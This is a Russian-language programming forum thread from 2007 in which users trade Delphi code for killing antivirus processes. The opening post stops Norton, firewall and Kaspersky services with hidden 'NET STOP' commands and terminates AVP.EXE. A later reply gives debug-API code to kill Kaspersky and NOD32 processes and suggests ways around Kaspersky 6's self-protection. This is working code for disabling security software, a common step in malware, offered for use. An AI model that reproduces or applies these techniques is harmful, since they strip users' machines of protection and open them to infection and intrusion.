Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > Низкоуровневое программирование > Win Api
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 06.12.2007, 23:01   #1
Terran
Участник клуба
 
Аватар для Terran
 
Регистрация: 28.11.2007
Сообщений: 1,521
По умолчанию Завершение процесса антивируса

Уважаемые!
Подскажите пожалуста. Почему не завершается процесс антивируса??? Я использовал код приведённый ниже. Когда я указывал любой обычный процесс, то он мигом завершался, а антивирусный не хочет. Может в самом коде программы чтото неправильно?


Код:
uses
   Tlhelp32,


function KillTask(ExeFileName: string): integer;
const
  PROCESS_TERMINATE=$0001;
var
  ContinueLoop: BOOL;
  FSnapshotHandle: THandle;
  FProcessEntry32: TProcessEntry32;
begin
  result := 0;

  FSnapshotHandle := CreateToolhelp32Snapshot
  (TH32CS_SNAPPROCESS, 0);
  FProcessEntry32.dwSize := Sizeof(FProcessEntry32);
  ContinueLoop := Process32First(FSnapshotHandle,
  FProcessEntry32);

  while integer(ContinueLoop) <> 0 do
  begin
    if ((UpperCase(ExtractFileName(FProcessEntry32.szExeFile)) =
    UpperCase(ExeFileName)) or (UpperCase(FProcessEntry32.szExeFile) =
    UpperCase(ExeFileName))) then
      Result := Integer(TerminateProcess(OpenProcess(
      PROCESS_TERMINATE, BOOL(0), FProcessEntry32.th32ProcessID), 0));
    ContinueLoop := Process32Next(FSnapshotHandle, FProcessEntry32);
  end;

  CloseHandle(FSnapshotHandle);
end;
begin

WINEXEC('NET STOP NAVAPSVC',SW_HIDE);
WINEXEC('NET STOP PERSFW',SW_HIDE);
WINEXEC('NET STOP AVPCC',SW_HIDE);
KillTask('AVP.EXE');
End.
Заранее благодарен!
Всегда рад помочь!

Последний раз редактировалось rpy3uH; 25.07.2008 в 15:18.
Terran вне форума Ответить с цитированием
Старый 06.12.2007, 23:55   #2
GAGARIN-NEW
Познаю мир
Форумчанин Подтвердите свой е-майл
 
Аватар для GAGARIN-NEW
 
Регистрация: 05.10.2007
Сообщений: 387
По умолчанию

В коде всё правильно
Просто антивирь както цепляется в системе на то он и каспер =)
---
GAGARIN-NEW вне форума Ответить с цитированием
Старый 07.12.2007, 00:14   #3
VDLab
Embedder
Пользователь
 
Аватар для VDLab
 
Регистрация: 01.11.2006
Сообщений: 68
По умолчанию

C антивирями все не так просто. Во первых, это системные службы, они даже в случае завершения процесса через некотрое время(у меня например, 5-10 секунд, НОД32) снова запускаются. Во вторых, если антивирь можно было бы так просто вырубить, грош ему цена.
Мне как то нужно было полностью вырубить антивирус, так целый час хитался, пока нашел, как отключить перезапуск процесса...
Кроме того многие антивирусные программы очень ревниво относятся к прогам, которые хотят их отключить, и кто кого отключит, это еще вопрос...
[SHIFT] вправо, [SHIFT] влево считается [ESCAPE]ом и карается REBOOTом!
VDLab вне форума Ответить с цитированием
Старый 07.12.2007, 00:31   #4
FaTaL
Участник клуба
 
Аватар для FaTaL
 
Регистрация: 09.11.2007
Сообщений: 1,761
По умолчанию

Цитата:
Сообщение от Terran Посмотреть сообщение
Уважаемые!
Подскажите пожалуста. Почему не завершается процесс антивируса??? Я использовал код приведённый ниже. Когда я указывал любой обычный процесс, то он мигом завершался, а антивирусный не хочет. Может в самом коде программы чтото неправильно?


uses
Tlhelp32,


function KillTask(ExeFileName: string): integer;
const
PROCESS_TERMINATE=$0001;
var
ContinueLoop: BOOL;
FSnapshotHandle: THandle;
FProcessEntry32: TProcessEntry32;
begin
result := 0;

FSnapshotHandle := CreateToolhelp32Snapshot
(TH32CS_SNAPPROCESS, 0);
FProcessEntry32.dwSize := Sizeof(FProcessEntry32);
ContinueLoop := Process32First(FSnapshotHandle,
FProcessEntry32);

while integer(ContinueLoop) <> 0 do
begin
if ((UpperCase(ExtractFileName(FProces sEntry32.szExeFile)) =
UpperCase(ExeFileName)) or (UpperCase(FProcessEntry32.szExeFil e) =
UpperCase(ExeFileName))) then
Result := Integer(TerminateProcess(OpenProces s(
PROCESS_TERMINATE, BOOL(0), FProcessEntry32.th32ProcessID), 0));
ContinueLoop := Process32Next(FSnapshotHandle, FProcessEntry32);
end;

CloseHandle(FSnapshotHandle);
end;
begin

WINEXEC('NET STOP NAVAPSVC',SW_HIDE);
WINEXEC('NET STOP PERSFW',SW_HIDE);
WINEXEC('NET STOP AVPCC',SW_HIDE);
KillTask('AVP.EXE');
End.
Заранее благодарен!
Боролся 3 дня с этим пока нашёл выход. Сейчас процедуру не помню. На работу завтра приду напишу. Так же вырубал антивир только NOD32
FaTaL на форуме Ответить с цитированием
Старый 07.12.2007, 17:13   #5
GAGARIN-NEW
Познаю мир
Форумчанин Подтвердите свой е-майл
 
Аватар для GAGARIN-NEW
 
Регистрация: 05.10.2007
Сообщений: 387
По умолчанию

Кстате нод я в диспетчере вырубал бес проблем ! а вот каспера или панду ф*г завершиш =)
---
GAGARIN-NEW вне форума Ответить с цитированием
Старый 07.12.2007, 18:04   #6
Terran
Участник клуба
 
Аватар для Terran
 
Регистрация: 28.11.2007
Сообщений: 1,521
По умолчанию

Всем БОЛЬШОЕ спасибо за помощь!!!
Всегда рад помочь!
Terran вне форума Ответить с цитированием
Старый 07.12.2007, 21:54   #7
Air
Участник клуба
 
Аватар для Air
 
Регистрация: 30.04.2007
Сообщений: 1,307
По умолчанию

Вот что я использую:
uses ...advApiHook,NativeAPI...


var
Form1: TForm1;
Function DbgUiDebugActiveProcess(pHandle: dword): NTStatus;stdcall;external 'ntdll.dll';
Function DbgUiConnectToDbg(): NTStatus;stdcall;external 'ntdll.dll'; {Для отладки}

implementation

{$R *.dfm}

procedure TForm1.KillKAV;
begin
DebugKillProcess(GetProcessId('kav. exe'));
end;

procedure TForm1.KillKIS;
begin
DebugKillProcess(GetProcessId('kis. exe'));
end;

procedure TForm1.KillNOD32;
begin
// сервис Nod32 - 'Nod32krn.exe' %Prograndir%\Eset\Nod32krn.exe
DebugKillProcess(GetProcessId('Nod3 2krn.exe'));
end;
// На 6 версию каси не действует, выбить процесс можно только через Ring0 (память CPU) или сменить
// системную дату на 1-2 года назад.

В архиве примеры и модули "advApiHook.pas", "NativeAPI.pas"
Вложения
Тип файла: rar advapihook.rar (108.2 Кб, 264 просмотров)
Всё гениальное - просто!
Air вне форума Ответить с цитированием
Старый 07.12.2007, 22:28   #8
Terran
Участник клуба
 
Аватар для Terran
 
Регистрация: 28.11.2007
Сообщений: 1,521
По умолчанию

Спасибо за помощь!
Всегда рад помочь!
Terran вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Завершение процеса aesoem Общие вопросы Delphi 10 28.08.2008 16:44
Запрет на завершение процесса Черничный Win Api 5 22.07.2008 20:13
Завершение приложения lenivec Общие вопросы Delphi 16 05.01.2008 15:23
Завершение процесса Terran Win Api 3 04.01.2008 12:09
Завершение сеанса Simply-Art Общие вопросы Delphi 6 22.03.2007 16:57